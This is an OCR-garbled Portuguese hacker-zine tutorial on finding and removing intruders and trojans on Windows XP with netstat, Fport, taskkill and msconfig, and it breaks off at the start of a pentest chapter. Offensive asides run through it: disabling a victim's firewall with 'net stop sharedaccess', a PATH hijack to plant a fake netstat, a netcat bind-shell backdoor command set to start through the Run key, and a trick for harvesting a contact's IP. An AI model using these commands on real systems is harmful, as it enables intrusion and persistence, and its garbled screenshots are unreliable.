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Este texto foi escrito originalmente para a revista hackademia, terceira edi¢@o. A revista tem umas
coisinhas basicas, mas ¢ bem legal. Olhe pessoal: Revista Hackademia-IIl.rar

Introduction - A pergunta que nao quer calar

Oi povo do Hackademy! Aqui estou eu com mais um texto para a rapaziadinha interessada na
malandragem da vida (O hacking), dessa vez vou mostrar as principais formas de detec¢do e
remog¢ao de ‘invasores’ em sistemas Windows, pois creio que uma grande parte dos leitores desta
revista (assim como eu) sdo aprendizes (Porque gurus nem vao se dar ao trabalho de baixar a
magazine =) e por isso vou me empenhar em demonstrar o basico e para o sistema do tio Bill (Por
razoes obvias =), ou seja, nada de Unix like da vida, e se vocé de certa forma achar isso ruim,
gostaria de dizer que esse texto ndo eh pra vocé amigo (Se fosse na minha zine vocé€ ia ver =).
Espero fazer parte do grupo e ndo apenas ser mais uma participacdo ESPECIAL (Modesto =),
enquanto a Deborah deixar vocés terdo muitos textos meus. Bem, vamos 14. Alguns de vocés um dia
ja se perguntaram o seguinte:

-Putz! O cara entrou na minha maquina, ta me zuando, como eu tiro ele daqui?

Aham! E ai que estd manoh, nio adianta puxar o fio da tomada, porque quando vocé ligar
novamente seu PC o maluco entra outra vez como se fosse uma doenca incuravel, como se fosse um
tumor maligno que a cada minuto se manifesta mais no seu maldito sistema... Ops... Cof! Cof!
Desculpem a empolgacdo. Bem, creio que para muitos iniciantes isso seja algo de certa forma ->
Discutivel <-, ao longo do texto vc vai ver que os passos BASICOS para a remocgao de invasores do
seu sistema ndo sdo dificeis e sdo bastante eficientes. Resolvi escrever sobre isso porque eu sempre
achei que esse conhecimento deveria ser mais divulgado em um texto especifico, por isso resolvi
escrever sobre isso, ou seja, vocé esta lendo o texto certo amigo =)

---=| Esclarecendo os fatos

Bem, tudo que estabelece uma conexao no seu PC ta utilizando uma porta, acho que isso vocés ja
devem saber, mas enfim:

Pergunta basica:
Como vocé entrard em seu quarto se existe uma porta fechada?

Melhor de dois:

Como vocé entrara em um computador com todas as portas fechadas?

Bem, existem maneiras SIM de obter acesso a um sistema sem necessariamente ter que deixar uma
porta em escuta no host, mas neste momento vamos fingir que nao existe isso (s6 para nao
complicar =).

Eh através das portas que as maquinas se comunicam, elas se utilizam destas tais portas para
poderem “conversar”. Muitas vezes as portas sdo abertas por programas (servigos) do nosso proprio
Windows (oh!) e ndo por causa de backdoors (oh! duplo), afinal de contas que tipo de idiota
implantaria uma backdoor em um sistema que ele pode muito bem habilitar o servigo telnet? Seria
muito arriscado usar uma porta maliciosa, pois os antivirus poderiam facilmente detectar
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file:///mnt/hda1/---=%5B Mais/Hacking and more/My Web Sites/hunterhacker/web51.hosting.xpg.com.br/xpg2.0/0/h/u/hunterhacker/Revista_Hackademia-III.rar

(Se tiverem assinaturas, obvio) a porta dos fundos. Sado essas tais portas que serdo utilizadas para o
invasor comegar sua seqiiéncia de atos maliciosos (dentro do seu sistema), um exemplo bem
comum eh a porta 23 que eh a porta do servigo telnet, para quem ndo sabe este servigo permite que
um usuario remoto se conecte no seu PC e execute programas de qualquer parte do planeta terra (ou
qualquer outro planeta que tenha Banda larga =). Para abrir a tal portinha no Windows XP
professional SP I e II e mais uma leva de sistemas da Microsoft basta ir em -> painel de controle ->
ferramentas administrativas -> servigcos e la voc€ procura o telnet e ativar ele (Nos Unixes o
daemon eh o telnetd). A partir deste momento vocé tem uma porta aberta no seu sistema... a 23.

Depois que vocé abre uma porta que fornece acesso ao Shell (interpretador de comandos)
do seu sistema, digamos que vocé ganhou um motivo para se preocupar. O requerimento basico
para um invasor entrar no seu sistema pela porta telnet (23) eh saber o nome de usuario de alguma
conta no scu sistema e saber a senha dessa conta, vamos a uma demonstracao. Primeiramente eu uso
o cliente telnet do Windows para me conectar na porta 23 no meu enderego de loopback (Meu
proprio computador) digitando EM EXECUTAR o seguinte:

telnet 127.0.0.1 23

Onde

Telnet ->  Diz para o Windows que eu quero utilizar o cliente telnet
127.0.0.1 ->  Meu endereco IP de loopback

23 ->  Porta que eu quero me conectar no meu endereco de loopback

Quando vocé nao especifica uma porta, ao utilizar o cliente telnet do Windows o mesmo vai supor
que voce deseja se conectar no host remoto na porta 23, ou seja, eu especifiquei o 23 s6 pra ensinar,
depois da conexao eu vejo isso:

[+ Telnet 127.0.0.1
llelcome to Microsoft Telnet Service

login: Dawvid
lpassword:

Obviamente que se vocé nao estiver com a porta 23 aberta vocé ndo vai ver a janela acima, pois
nem vai existir conexdo. Digitei meu nome de usuario e minha senha e tenho acesso ao meu
sistema, ponto. Agora que vocé ja sabe como testar, vamos utilizar outra maquina de endereco IP
192.168.1.3, vamos a partir desta maquina encontrar o invasor =) Agora vamos supor que vocé
sabotou o sistema do cara e pegou o endereco IP dele, blz? Quando digo sabotar me refiro a abrir a
porta telnet (rodar o servi¢o) e matar o firewall PADRAO do Windows com o comando -> net stop
sharedaccess <-, pois caso o firewall esteja filtrando as portas no PC de sua vitima vocé ndo vai
conseguir se conectar. Para matar algum firewall decente que ‘ndo seja 0 PADRAO do Windows’,
use um Kkiller, faga um com o comando taskkill seguido do nome das imagens dos processos do
firewall. Obviamente que terds que utilizar um simples ‘.bat’ para a insercdo dos comandos
assassinos (SO pra quem nao sacou =). Para se conectar eh o mesmo procedimento:

telnet 192.168.1.3 23

Depois eu digito o nome de usuério de uma das contas no sistema da vitima e a senha que ela usa
para se logar na tal conta. Resultado:



c Telnet 127.0.0.1

C:“Documents and SettingssDavidX

Invasdo feita!
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Pronto! O cara entrou na minha maquina e ta me zuando, com mensagens toscas como:
msg * Aqui eh o seu sistema! Eu naum trabalho mais para vc seu zeh ruela!

Mensagem de David 15/2/2009 14:29 =T

Aquieh o sey sistemal Eu naum trabalho mais para ve seu zeh ruelal

Agora vamos varrer esse danado dai manoh! Precisamos seguir alguns passos.

Passo 1 - Descobrindo conexoes ativas

Bem amigos, vou extrair de um tutorial que eu mesmo escrevi para o forum ISTF a parte do netstat,
acho que vai ser melhor e mais pratico do que se eu escreve-se do comec¢o tudo outra vez, fiz
algumas leves modificagdes. Como vocé pode ver abaixo executei o exploit RPCDCOM no alvo
192.168.1.3 utilizando o payload shell bind na porta 666 (Bindshell:666), apos obter sucesso ao
executar o exploit usei o comando notepad para confirmar a penetragdo no sistema alvo, dada a
confirmacdo usei o comando netstat no meu sistema local, o programa netstat serve para nos
mostrar todas as conexdes que estdo ativas entre a nossa maquina local e servidores externos, usei a
sintaxe netstat —a —n, com esta sintaxe eu disse para o programa me mostrar os status das minhas
portas (—a) e converter nomes de host “DNS” em enderegos IP (-n), obtive o seguinte resultado:

CAWINDOWS, Sy stem 3 cmd exe -0 X

netstat —a —n
Conexbes ativas

Froto Endewveco local l pei0 externo
TCP i f

TCP
TCP
TCFP
TCP
TCFP
TCP
TCFP

LISTEMIHG
LISTENIHNG
LISTEMIMG
LISTENIHNG
LISTEMIHG
LISTENI NG
LISTEMING
LISTENIHG
LISTEMING
LISTENING
LISTEMIHG
LISTEHIHG
g LISTEMIMG
| i 2 : LISTENIHG
19 & : A ESTABLISHED
192.168.1.1:16878 ; LISTENING
192.468.1.1:=9561 . 6. E § LISTEMIHG
|72 164 2:139 : LISTENIHG
192 . 168.1.2:1369% § A . B LISTEMIMG

=EDESEERERIE
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Neste relatorio eu posso ver que na guia Estado que existe uma conexdo estabelecida
(ESTABLISHED) entre o meu host local 192.168.1.1 na porta local 1041 e o host remoto
192.168.1.3 na porta externa 666 que ¢ a porta que o payload bind do exploit RPCDOM abriu no
sistema alvo, perceba também que os enderecos IP que estabeleceram uma conexao sdo de rede
local e também repare que todas as outras portas no meu sistema local estdo em escuta
(LISTENING) esperando uma conexao, em Proto — Protocolo, vocé pode ver que o utilizado ¢ o
TCP — Trasmission Control Protocol — protocolo de controle de transmissao, este protocolo ¢ uma
espécie de protocolo mae que abriga todos os outros como por exemplo: FTP, HTTP, etc.

Em Endereco local vocé vera o seu IP e a porta que esta sendo usada para a conexao, se
eu nao especificasse a op¢ao —n eu ia ver o nome das maquinas € nao os IPs, em Endereco externo
voce verd o IP do host remoto ou seja, quem estabeleceu uma conexdo na sua maquina € a porta que
esta recebendo a conexdao no computador dele , entdo pense comigo: O netstat € um dos melhores
métodos para descobrir se tem alguém conectado sem autorizacdo no seu computador, quando se
abre o browser para acessar a Internet vocé€ vai se conectar no host remoto na porta 80 (ndo ¢ regra)
que ¢ a porta de servidor de web e vai estabelecer uma conexdo com o site usando o protocolo
HTTP que é um dos protocolos contidos dentro do protocolo (da Suite =) TCP, ja que ele ¢ um dos
protocolos que existem dentro do TCP entdo em Proto vocé nao verd o HTTP e sim o que abriga o
mesmo, o TCP, veja como € o resultado do netstat quando vocé esta conectado a um site:

C:\>netstat —a
Conex0es ativas

Proto  Enderego local Endereco externo Estado
TCP  Violator:1050 site.com:http ESTABLISHED

Usei a op¢do —a para o netstat me mostrar todas as conexdes e as portas em escuta do meu sistema,
ele me retornou o resultado acima, note que sé peguei a linha principal do relatdrio, que € a que me
mostra 0 nome da minha maquina “Violator” e o site que estabeleceu uma conexdo comigo,
também perceba que ao invés de me mostrar o numero da porta remota que foi utilizada para o
estabelecimento da conexdo, o netstat me mostrou o nome do protocolo que estd sendo utilizado
naquela porta (80), que neste caso ¢ o HTTP, isso porque eu ndo quis que ele me mostrasse o
numero da porta, mas se por um acaso eu quiser saber o endereco IP do site € o numero da porta do
protocolo que esta sendo utilizado para o estabelecimento da conexao com este site eu uso a sintaxe:

C:\>netstat —n que ele me mostrard um resultado diferente:

Conexdes ativas

Proto Endereco local Endereco externo Estado
TCP  184.18.64.127:1049 10.249.147.8:80 ESTABLISHED

Usei enderegos IPs ficticios para representar o endereco local e externo mas as portas sdo as
originais do meu teste, para vocé entender bem sobre conexdes serd necessario que vocé conheca
todos os status de conexdo, existem muitos outros status de conexdo tais como: CLOSE WAIT,
FIN WAIT 2 etc. ESTABLISHED e LISTENING sao apenas dois dos muitos que existem, cabe a
voce pesquisar sobre todos. J& ia me esquecendo de mencionar: Quando vocé estd teclando com um
amigo no MSN vocé estabelece uma conexao IP com IP, isso significa que, se vocé€ quiser pegar o
IP daquele cara chato basta vocé abrir o shell e digitar o comando netstat —an e como ja havia falado



antes, vocé€ vai ver todas as conexdes estabelecidas no seu computador, isso inclui também o
endereco IP do cara chato. Se tiver dificil achar o IP do cara feche todas as paginas e tudo que possa
estabelecer uma conexao com vocé, depois mande um arquivo, de preferéncia os mais pesados que
demoram para serem enviados (estou falando de envio de arquivos por MSN) para o mané, como
musicas grandes ou at¢ mesmo videos, pois a intencdo ¢ demorar no envio, assim vocé podera
identificar a maquina dele pelas flags que as maquinas emitem (Exemplo: SYN SENT =), ou até
mesmo pode estabelecer uma conexao usando VOIP, fazendo isso garanto como vocé vai ver o [P
do camarada. OBS: Sempre procure o IP do maluco debaixo para cima =).

T !
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tou te con iar
6_Bldckd_flx6 diz:

para v utilizar o netcatwe tem gue sempre colocar o nc antes da sintaxe
iz =

Wlg2.229.251 H—
i

enderego ip
b_Bldckd_ flxk diz:

wou tentar me conecar
b_Bldckd_f0xk diz:

S0 Um min
b_Bldckd_f0xk diz:

timtmin e mm il A Mensagens enviadas e recebidas|

8. 28 () = A g~ g~
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< Telnet. .. 2.249.254
) C:“Documentz and Settings“Administrador>cds

i
L= - '9 cd
‘cd~’ n3o & reconhecido como um comando interno ou externo.
L programa operacional ou ficheiro batch.
conect C:~Documents and Settings“Administrador>

5 Bldcka f0xE diz: C:“Documents and Settings“Administrador>cd

olha no seu disco cum arguivo

6_BEl4cka_flx6 diz:
me diz 0 gue esta escrito dentro dele C:»»echo ja estou na maguina amigo > invasor_fudido_exe

T echo ja estou na maguina amigo > invasor_fudido.exe
invasor Pudido 0 volume na unidade C ndo tem nome
s 0 nimero de série do volume é SAD3-DB?6
vi blz _ Directdrio de C:s
e[kl
q bonito Ficheiro ndo encontrado
6_Bldcka_f0x6 diz:
eheh




wDocuments and Settings Wil INidnetstat —n
Conexdes ativas

Proto Enderego local Endereco externo Estado

TICP 192 _168.1.6:1826 192 .168.1.180:68A ESTABLISHED
TCP 192 _168.1 .6:2921 207 _46.108 _45:1863 ESTABLISHED
TCP 192 _168.1.6:2936 284 .1668.1685.124:8@ CLOSE WAIT
TGP 1922 _168.1.6:-3852 189 .48 _.8.195:-1743 ESTABLISHED
TCP 192 _168.1.6:-3899 2249 .254:16883 ESTABLISHED
TGP 192 _168.1.6:3181 207 _46.26.115:1863 ESTABLISHED
TCP 192 _168.1.6:3179 189 .45.287.187:1169 ESTABLISHED
TGP 192 _168.1.6:-3188 2,249 .254:88 ESTABLISHED

wDocuments and Settings 0TI

Com o netstat ainda existe a possibilidade de filtrar buscas por conexdes nas sintaxes de uso,
exemplo:

A opcao '-p' define um protocolo

netstat -anp tcp -> Exibe apenas status das conexdes que utilizam TCP
netstat -anpudp -> Exibe status do protocolo UDP

Buscando portas e servicos especificos

Esta sintaxe abaixo procura a palavra telnet no relatorio (Repare que nao utilizo a op¢ao -n, por
motivos 6bvios):

netstat -ap tcp | find "telnet"
Esta procura pela "porta’ do servigo telnet - '23'

netstat -anp tcp | find "23"

Proto  Enderego local Enderego externo Estado
TCP  192.168.1.1:23 192.168.1.2:1125 ESTABLISHED

Nesse exemplo acima podemos ver que o computador de enderego IP com final 2 estabeleceu uma
conexao no meu computador de IP 192.168.1.1, ou seja, muito provavelmente alguém entrou na
minha maquina por telnet, por causa da porta 23. Se ver algo estabelecido nessa porta, fique
assustado rsrsrs.

Falha encontrada no primeiro passo

Existem programas que se utilizam de artimanhas muito engenhosas para enganar um iniciante
desavisado, esses programas sao chamados de fake netstat (que coisa ndo?), ou em (portugués)
outras palavras —> netstat falso <-, que nos mostrar um relatorio totalmente falso ou apenas oculta
uma Unica conexao estabelecida em nosso sistema (A conexdo feita pelo invasor). Um grupo
intitulado DiGiTaL-FiRe desenvolveu um 6timo fake netstat, o fonte comentado pode ser adquirido
em http://www.elhacker.net na secdo programas. Edite (Sabote) o PATH de sua vitima e corra para
o abraco...:) Brevemente nos da Corporacdo Vibora estaremos terminando nosso projeto fkx net
que eh um projeto que conta com a participacdo de nossos principais membros no desenvolvimento
de um otimo fake netstat =)


http://www.elhacker.net/

Passo 2 — Encontrando os programas que abriram as portas

Bem, vamos supor aqui que o invasor implantou o melhor programa multe uso de todos os tempos
no seu sistema, o chamado de netcat. O invasor entrou no seu sistema e esta te zuando, vamos
seguir o passo anteriormente descrito e tentar descobrir qual a porta que ele utilizou para obter
acesso ao sistema e vamos descobrir como eu sei que ele esta se utilizando de tal ferramenta para
obter acesso nao autorizado.

Conexdes ativas

Proto Endereco local Endereco externo Estado
TCP machineblack:18 192 _168.1.1:1477 ESTABLISHED

C:“Documents and Settings:sDavidX*netstat —n

Conexdes ativas

Proto Endereco local Endereco externo Eztado
TGP 192.168.1.3:18 192 .168.1.1:1477 ESTABLISHED

Bem, primeiramente emitimos o comando netstat sem a opgdo —a, assim apenas sera exibida as
conexodes estabelecidas em sua maquina. Podemos ver que o computador de endereco IP
192.168.1.1 estabeleceu uma conex@o em meu computador na porta 18, ou seja, € justamente essa
porta que temos que fechar em nosso sistema. Sabemos que a invasao partiu de um computador de
minha propria rede interna, ou seja, muito provavelmente deve existir alguém na empresa me
espionando eheheh. Para obtermos informagdes sobre quais aplicagdes estdo abrindo quais portas
no nosso sistema, usaremos um programa desenvolvido pela Foundstone, essa ferramenta ¢ uma
excelente ferramenta que mapeia os PID’s das portas, como ja falei: mostra as portas que um
determinado processo abre e ainda nos mostra o PATH das aplicagdes. Essa ferramenta se chama
Fport, estarei utilizando a versao 2.0.

C:xDocuments and SettingssDavid>fport
FPort v2.8 — TCP/IF Process to Port Mapper
Copyright 2008 by Foundstone, Inc.

http: 7wuw.foundstone .com

Process Proto Path

nc ICP CxHINDOWHE“system3d 2 nc .exe
tlntsup ICP CasWINDOUS~System3dZstIntsur.exe
suchost ICP CxHINDOWHS s system3d 2 suchost .exe
System ICP

Sustem ICP

suchost %E? CasWINDOWS“System3Z2~svuchost .exe

cv D pnis fﬂ;ﬂ. iss0

C:sDocuments and SettingssDavidX*taskkill #im nc.exe ~f & echo Bang?
EXITO: o processo "nc.exe” com PID 2268 foi encerrado.
Bang?

Onde:

PID -> Identificador de processo. Numero de identificacdo dado pelo kernel para cada processo
rodando na maquina, podemos executar determinadas a¢gdes com processos utilizando seus PID’s ou
suas imagens.



Process -> Aqui podemos ver as imagens dos processos, ou seja, os nomes das aplicacdes,
como ¢ exibido neste exemplo.

Port -> Aqui podemos ver a porta que essa aplicagdo estd abrindo em seu sistema.
Proto -> O protocolo em que a aplicagao trabalha.

PATH -> Caminho da aplica¢do que esta abrindo a tal porta.

Lembrando que vocé pode usar a opcdo —o do netstat para o mesmo lhe mostrar as PID’s dos
processos que abriram portas € logo depois vocé digita o comando tasklist para ver a imagem deste
processo se baseando pela sua PID...=) Enfim, achamos a tal porta que o cara se conectou (18) e
sabemos que se trata do netcat porque existe um tal de nc.exe que esta localizado no diretorio do
sistema (system32), mas claro que isso nao € regra, pois podem existir outras backdoors apenas
nomeadas com o nome do netcat (eheh), mas... Sabemos que € o netcat, para encerrar o tal processo
basta digitar:

taskkill /im nc.exe /f -> O /f ¢ usado para forcar o encerramento do processo € o /im e
usado para se referir a imagem do processo.

Ou

taskkill /PID 532 /f -> /PID Desinéncia de identificador de processo. Vocé ainda pode dar
um tiro na cabeca do netcat eheh.

=+ | CWVINDOWS \System32icmd.exe

Microsoft Windows HP [versdo 5.1.26881
<G> Copyright 1785-2081 Microsoft Corp.

G:~Documents and Settings“David’taskkill ~im nc.exe ~f & echo Bang?
gHIT?: o processo “nc.exe’ com PID 1444 foi encerrado.
ang?

Caso queira usar interface grafica basta abrir o gerenciador de tarefas do Windows (Pressione Ctrl +
Alt e depois tecle 2x o ‘Del’) e ir na guia ‘Processos’, 14 encerre os processos maliciosos clicando
em ‘Finalizar Processo’, depois de ter selecionado os mesmos. Veja um exemplo:

cmd, exe David oo Ok
CSFss5,2xe SYSTEM oz 180K
ckfrmon, exe Dravid oo 452 K
explarer.exe Dravid 1] 3.572 K
lsass . exe SYSTEM oo 16 K
iMnC,Eexe Cravid aa 116 F :

Quando o netcat escuta em uma porta ele cria um processo com a imagem nc.exe e depois da
conexao ele abre a Shell do sistema, ou seja, ele executa o cmd.exe, para remover a crianga
amadora do seu PC encerre o nc.exe e o cmd.exe, ¢ sempre bom encerrar os dois processos, assim
vocé acaba totalmente com a festa do garoto (J& me fizeram muito triste com esse negocio de matar
processo =).

Falha encontrada no segundo passo

Bem, eu paro por aqui com essa historia de ‘Falha encontrada no * passo’, porque seu eu nao parar
de escrever, isso aqui vai virar uma biblia e meu préximo texto (Se escondendo de amadores =) vai
ficar completamente... ei! Ele nem vai existir eheh.



Passo 3 — Detonando os programas que abriram as portas

Leiam o meu texto: "Removendo virus e trojans “VAGABUNDOS” manualmente". Para saber
como detonar os programas maliciosos que se iniciam na maquina, pois fazendo isso vocé vai

‘Garantir’ o NAO retorno do invasor, pois as aplicagdes que abriram as portas vio ser destruidas =).
Adios!

[I's
by
6_Bl4ck9 f0x6 - Viper Corp Group

----- C4p1Tul0 01
[+] X X +]
Removendo virus e trojans manualmente
[+] X X+]

Atencao: Vai uma dica para os administradores de rede e para os caras que querem ficar longe de virus e
trojans inicializados em UL - User-Land (ring 3). Usem esse programa aqui: [WathsR] w32. Esse programa
lhes mostrara todas as paradinhas que estdo se iniciando na sua maquina (Bem, nem tudo }=) .

Hi! Agora vou mostrar como se remover a vergonha da classe especial de seres vivos chamada de
virus, vergonha porque os programadores deles normalmente ddo pequenos vacilos nos metodos de
inicializa¢do \O/ Primeiramente v4 em iniciar depois em executar e digite msconfig e clique em OK.
Apds vocé digitar este comando magicamente se abrira o utilitario de configuragdo do sistema, essa
janelinha abaixo:

r
_ﬂ URilitario de configuraio do sistema B

Geral | SYSTEM.INL. | Winuni | BOOT.IML | Servipos. | Iricializar
Seler S0 de inicializac 5o
© IniciskizagSo normal - carregar todas os drivers de dispositivo e servigos
InicislizacBo de diagrdstico - carregar apenas dispositivos & servipos bisicos

Inigializagdo seletiva

e HEEBR

Iniciar restauras 30 do siskema - Expandir anguivgs:

et us Cancedar Ayida
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Clique na guia Inicializar e vocé vera outra janelinha como esta:

&g Utilitario de configurdo do sistema

Geral | SYSTEM.INI | Win.ni  BOOT.IMI | Servicos  Inicializar

Ikern de inicializac 5o Comando Local

v SOUNDMAN SOUNDMAN.EXE HELMYSOFTWARE | Microsoft) wWindows| CurrentWer ...,
fusched " CilAvauives de progra... FEUMISOFTWARE Mcrosofewindows\Currentyer.. |

v ashDisp CARQUIN-A11ALWIL.. .  HELM\SOFTWARE Microsoft) WindowsiCurrent¥er..

V| Tenable Messus CARQUIV-11Tenabd...  Common Startup

V| ¥z ToolBar C:\WINDOWSIYBRICD,.,,  Startup

Desativar tudo

e ——— rpr—
o]

Nesta janela vocé podera ver tudo que inicia no seu computador, inclusive os cavalos de trdia que
andam sendo instalados no seu sistema sem o seu consentimento e também aqueles virus chatos que
mandam links para seus amigos no MSN todas as vezes que vocé entra no mesmo, para que
qualquer coisa pare de inicilizar no seu computador basta desmarcar a caixa de selecdo referente ao
objeto e clicar em OK, ap0s isso sera exibida a seguinte mensagem:

Configuracio do sistema

Wocé deve reiniciar o computadar para que algumas das alteracties
feitas pela configuracdo do siskema tenham efeito,

| Beiniciar J [ Sair sem reiniciar
=

Quando vocé reiniciar o computador o objeto ndo iniciard mais no seu sistema, agora basta
massacrar o tal do virus malandro, veja onde o mesmo se inicia, va até a pasta dele e mande ele pro
espago, ¢ simples, vou fazer com que vocé entenda melhor a situagao.

Entendendo os 3 "principais" tipos de inicializag¢do - Existem VARIOS!!!!

Vou mostrar agora apenas os tipos de inicializagdo tronchos que o windows utiliza para organizar as
coisas, mas existem varios outros TOTALMENTE SATANICOS que iniciam antes de qualquer
coisa \O/ (Pensa no estrago ae fi).
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[tem de inicializagdo Comando Local
'Nome do arquivo iniciado' 'Dados' "Tipo de inicializagao'
'Nome do arquivo iniciado'  'Onde ele estd' "Tipo de inicializagao'

O que diferencia a linguagem técnica da linguagem comum ¢ apenas a palavra 'Dados' que € usada
para se referir ao arquivo que esta sendo iniciado, para vocé entender como se adicionar uma chave
no registro vocé tera que saber o que ¢ dados (para um bom entendimento), ndo se preocupe que
logo mais explicarei melhor. Quando vocé clicar na guia 'Inicializar' dentro do utilitario de
configuracdo do sistema, vocé verad algo mais ou menos parecido com o que ¢ mostrado acima,
repare no screenshot mostrado anteriormente que existem trés tipos de inicializagao que sdo:

HKLM\SOFTWARE\Microsoft\Windows\currentversion\run
Startup
Common Startup

Agora entenda os tipos de inicializagao.

HKLM\SOFTWARE\Microsoft\Windows\currentversion\run

¢ uma chave no registro do Windows que armazena valores seqiienciais que iniciam objetos no
sistema, esses tais valores seqiienciais sdo os que fazem com que um programa se inicie no sistema
todas as vezes que vocé se loga em alguma conta, resumindo: Todos os valores que estiverem nesta
chave inciardo os seus respectivos programas, porque a fun¢do de uma chave de inicializacao ¢é
iniciar um arquivo qualquer, normalmente quando vocé instala um programa no seu computador,
este mesmo programa cria um valor seqiiencial na chave descrita acima para ele ser iniciado quando
vocé se logar no computador.

Startup

Significa inicializar, todos os programas que se localizam no pasta: C:\Documents and
Settings\seu nome de usudrio\Menu Iniciar\Programas\Inicializar . Serdo iniciados quando vocé se
logar no sistema. Faca o seguinte teste: copie um arquivo qualquer ou até mesmo um atalho do seu
desktop ou de qualquer parte do seu computador para a pasta:

C:\Documents and Settings\seu nome de usuario\Menu Iniciar\Programas\Inicializar

E deixe 14, logo depois va em iniciar e depois em executar e digite msconfig para abrir o utilitario
de configuragdao do sistema, em seguida va na guia inicializar e repare que o mesmo vai ser
mostrado nos itens de inicializacdo como 'Startup', mas vocé deve estar se perguntando: Porque
Startup? E muito facil de entender porque aparecera Startup, simplesmente porque vocé vai estar
colocando na pasta:

C:\Documents and Settings\seu nome de usuario\Menu Iniciar\Programas\Inicializar
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Repare neste PATH (caminho) o seguinte diretorio: 'seu_nome de usudrio' . Isso significa que vocé
ira iniciar este item apenas para vocé, porque esta colocando no diretdrio de inicializagdo do usuario
'seu_nome de usudrio', entendeu? Vou explicar melhor: O nome de usuario do meu computador é
David, entdo ficara assim:

C:\Documents and Settings\David\Menu Iniciar\Programas\Inicializar

Ja que eu estou colocando o arquivo que serd iniciado na pasta de inicializacdo "David" ele sera
iniciado apenas quando eu me logar no sistema com esse nome de usudrio e terd como seu tipo de
inicializag¢do a palavra 'Startup', entdo se eu me logar na conta Jeniffer por exemplo, este item nao
sera iniciado, o mesmo sé sera iniciado quando o usuario 'David' se logar na maquina (Mania de
explicacdo, um dia eu morro de escrever).

Common Startup

- Common significa compartilhar e Startup, iniciar, entdo ao pé¢ da letra ficaria: inicializagdo
compartilhada, significa que o item marcado com este tipo de inicializagdo inicia para todos os
usuarios, ao contrario do tipo de inicializag¢do 'Startup' que se inicia apenas para o usudrio corrente.
A pasta que vocé tera que copiar os arquivos para que se inicie para todos os usudrios que se
logarem no computador ¢ a seguinte:

C:\Documents and Settings\all users\Menu Iniciar\Programas\Inicializar

Repare que ao invés de um nome de usudrio esta escrito 'all users' que em portugués significa 'todos
os usuarios', quando vocé coloca qualquer objeto nesta pasta, automaticamente este objeto ird
constar nos itens de inicializagdo do sistema e seu tipo de inicializacdo obviamente sera 'Common
Startup'. Pois bem, ja que sabemos que quando programas sdo instalados no nosso computador eles
criam valores sequenciais no registro do windows (a maioria) ou copiam seus componentes para as
pastas de inicializagdo do sistema ou ambas as coisas, vamos agora usar a logica:

Cavalos de troia também sdo programas, certo? Certo, isso significa que um trojan
normalmente vai se iniciar no computador e ja que ele vai se iniciar no computador, muito
provavelmente o trojan cria um valor sequencial na chave de registro ou se copia para as pastas de
inicializacdo do sistema para poder se iniciar, entdo ele normalmente ird constar nos itens de
inicializa¢do do sistema, assim fazendo com que seja apenas necessario voc€ desmarcar a caixa de
selecdo que inicia o trojan para 0 mesmo primeiramente parar de se iniciar no seu computador, para
logo depois vocé poder massacra-lo. Um exemplo de virus chato sdo aqueles de MSN que
normalmente se iniciam com um tipo de inicializagdao 'Commom Startup' ou seja, se localizam na
pasta:

C:\Documents and Settings\all users\Menu Iniciar\Programas\Inicializar

Para remove-lo do seu sistema basta desmarcar a caixa de selecdo nos itens de inicializacao do
sistema referente a ele, matar o processo, para logo depois vocé ir ao diretorio dele e remover o
safado do seu HD.
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Fique de olho se existe alguma chave de registro ou algo em alguma das duas pastas de
inicializa¢dao do sistema que seja suspeito se iniciando no seu computador e desmarque a caixa de
selecdo referente aos objetos suspeitos, ndo se esqueca de logo em seguida deletar o virus chato.
Agora que vocé ja entendeu os 3 principais tipos de inicializagdo vamos passar para as proximas
etapas. Como ja havia falado antes vocé verd algo como isso abaixo:

Item de inicializagdo =~ Comando Local

Em Item de inicializagdo vocé podera ver o nome do objeto que esta sendo iniciado, tipo: Trojan
que inicia o Trojan.exe e que possui um valor sequencial chamado iniciatrojan no registro. Sou um
cara bastante insistente, quero que vocés aprendam, por isso vou explicar melhor sobre valores
sequenciais, vou usar como exemplo o avast antivirus que cria no registro um valor chamado avast!
para iniciar o seu componente que possui o0 nome ashDisp.exe. Abaixo de item de inicializa¢do ndo
¢ mostrado o nome do valor sequencial que ¢ avast! e sim ashDisp, porque o valor seqiiencial
(avast!) que esta no registro inicia o arquivo chamado ashDisp.exe, valor seqiiencial ¢ o nome do
objeto que se localiza na chave de registro para iniciar um arquivo qualquer. Abaixo de 'comando’
voce verd a 'localizagdo' do item que estd sendo iniciado (hum...), ndo se esquecga: No registro do
Windows o nome do negocio que fica na chave de inicializagao do registro (HKLM...) para iniciar
um objeto ¢ chamado de 'valor sequencial’, e o comando (onde o arquivo esta localizado) ¢ chamado
de 'dados'. Lembrando que 'comando' ndo significa 'COMANDO' por qualquer motivo ndo,pois
voce pode inserir COMANDOS para serem iniciados com o sistema ;-) Basta criar um valor
sequencial na chave de inicializagdo do sistema e colocar um comando COMO 'DADOS' para ele
ser executado sempre que um usuario se logar no sistema, tipo assim:

nc -L -p 123 -t -vv -e cmd.exe

Sintaxe do netcat como backdoor. Sacaram? Para finalizar temos abaixo de 'Local' o tipo de
inicializagdo do objeto (ja falado anteriormente). Entdo sempre dé uma olhada no utilitario de
configuracdo do sistema para ver se pintou algum trojan enquanto vocé estava ausente naquela
viagem para Fortaleza para curtir uma praia e pegar umas minas de qualidade (hum...). Ah!
Normalmente os trojans se localizam na pasta c:\windows\system32\ e na pasta c:\windows\system,
por isso recomendo sempre passar o scanner do antivirus nestes locais, mas o mais recomendavel é
fazer o antivirus varrer seu computador no boot, pois assim ele ird escanear seu sistema inteiro,
pode demorar um pouco, mas vale a pena. Caso ele ndo pegue nada o mais recomendado ¢ que vocé
dé uma olhada nos itens de inicializacdo do seu sistema, pois os virus e trojans podem estar
indetectdveis, assim os antivirus nunca os detectardo, os antivirus ndo sdo muito confidveis hoje em
dia. Brevemente estarei postando outros tutoriais "avancados" baseados neste que acabou de ler, por
isso espero que vocés tenham entendido "bem".

[I's

by
6_Bl4ck9 f0x6 - Viper Corp Group
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----- C4p1Tul0 02

[+] X X +]
PT - Penetration Tests (basements in blackbox)
[+] X X+]
Introducao

Ao invés de vocé sair por ai procurando cddigos de exploits para depois compila-los (compilar € o
ato de transformar os cédigos do programa, no programa, obtendo um arquivo executavel ‘exe’),
veja se ele ndo existe neste excelente repositorio de exploits, me recuso a chama-lo de scanner de
vulnerabilidades, vale lembrar que os exploits normalmente sao distribuidos em codigo fonte C ou
Perl e para compilar a maioria deles vocé precisara ter um certo conhecimento em programagao
caso dé erro, mas fique tranqiiilo, agora voc€ ndo precisa se preocupar mais com isso porque existe
